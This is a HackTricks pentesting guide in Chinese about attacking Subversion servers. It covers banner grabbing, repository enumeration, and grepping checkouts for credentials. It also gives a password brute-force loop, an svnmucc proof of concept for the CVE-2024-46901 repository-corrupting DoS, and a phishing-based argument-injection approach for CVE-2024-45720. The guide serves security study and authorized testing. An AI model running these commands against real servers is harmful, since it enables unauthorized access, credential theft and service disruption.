3690/tcp - Pentesting Subversion (SVN) 服务器
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
Subversion (SVN) 是一个集中式的 版本控制系统(Apache 许可证),用于软件版本管理和修订控制。
默认端口: 3690/tcp (svnserve)。也可以通过 HTTP/HTTPS(使用 mod_dav_svn)或通过 svn+ssh 暴露。
PORT STATE SERVICE
3690/tcp open svnserve Subversion
Banner Grabbing
nc -vn 10.10.10.10 3690
svnserve --version # if shell access is obtained
svn --version # client version leak via error messages
枚举
# Anonymous / authenticated listing
svn ls svn://10.10.10.203 # list root
svn ls -R svn://10.10.10.203/repo # recursive list
svn info svn://10.10.10.203/repo # repo metadata
svn log svn://10.10.10.203/repo # commit history
svn checkout svn://10.10.10.203/repo # checkout repository
svn up -r 2 # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo # view changes
# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''
# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo
认证与误配置搜寻
svnserve.conf可能允许anon-access = read(或甚至 write)。如果你能列出,尝试checkout来导出 secrets、scripts、CI tokens。- Repositories frequently store build pipelines, deployment keys, and database credentials in versioned config files。checkout 后在 working copy 中 grep:
grep -R "password\|secret\|token" -n .。 - 如果启用了 svn+ssh,用户 shell 常常允许受限的
svnserve命令;尝试使用精心构造的子命令通过ssh user@host svnserve -t绕过 wrappers。
凭证暴力破解(svnserve)
sasl 身份验证(如果启用)和简单的密码文件仅由传输保护;默认没有锁定。一个快速的 Bash 循环可以尝试凭证:
for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done
最近漏洞(实际影响)
mod_dav_svn 通过控制字符的 DoS (CVE-2024-46901)
- 拥有提交权限的用户可以写入包含控制字符(例如
\x01,\x7f)的路径,这会破坏仓库,使后续的 checkouts/logs 失败,并可能使mod_dav_svnworkers 崩溃。 - 影响通过 HTTP(S)(使用
mod_dav_svn)服务的 Subversion ≤ 1.14.4。在 1.14.5 中修复。 - 使用
svnmucc的 PoC 提交(requires valid commit creds):
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
- 在提交之后,普通客户端可能崩溃或拒绝更新,直到管理员手动使用
svnadmin dump/filter/load删除该修订。
Windows 上 svn client 的 argument injection (CVE-2024-45720)
- 在 Windows 上,
svn.exe中的 “best-fit” 字符编码在处理特制的非 ASCII 路径/URL 时允许 command-line argument injection,可能导致任意程序执行。 - 仅影响 Windows 上的 Subversion ≤ 1.14.3;在 1.14.4 中已修复。攻击面:通过钓鱼诱使开发者对攻击者控制的 URL/path 运行
svn。 - Pentest angle: 如果你能控制提供给 Windows 开发者的网络共享或 ZIP,给仓库 URL 或工作副本路径命名为包含会被 best-fit 字节解码为
" & calc.exe & "风格注入参数的字符串,然后诱骗受害者对该路径运行svn status或类似命令。
利用流程注意事项
- 检查访问方式:
svn://(svnserve)、http(s)://.../svn/(mod_dav_svn),或svn+ssh://。 - 先尝试匿名读取;然后尝试常见凭据。如果使用 HTTP Basic,则复用在其他位置发现的凭据。
- 枚举 hooks:
hooks/pre-commit、post-commit脚本有时包含明文 credentials 或主机名。 - 利用
svn:externals从其他主机拉取额外路径;签出后用svn propget svn:externals -R .列出它们。 - Version leaks:来自
mod_dav_svn的 HTTP 响应头通常会显示 Subversion 与 Apache 版本;将其与 1.14.5 比较以识别易受攻击目标。 - 如果你获得了对仓库文件系统的访问,
svnadmin dump/svnlook author/svnlook dirs-changed可以在无需凭据的情况下进行离线分析。
References
- Apache Subversion security advisory CVE-2024-46901
- Apache Subversion security advisory CVE-2024-45720
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


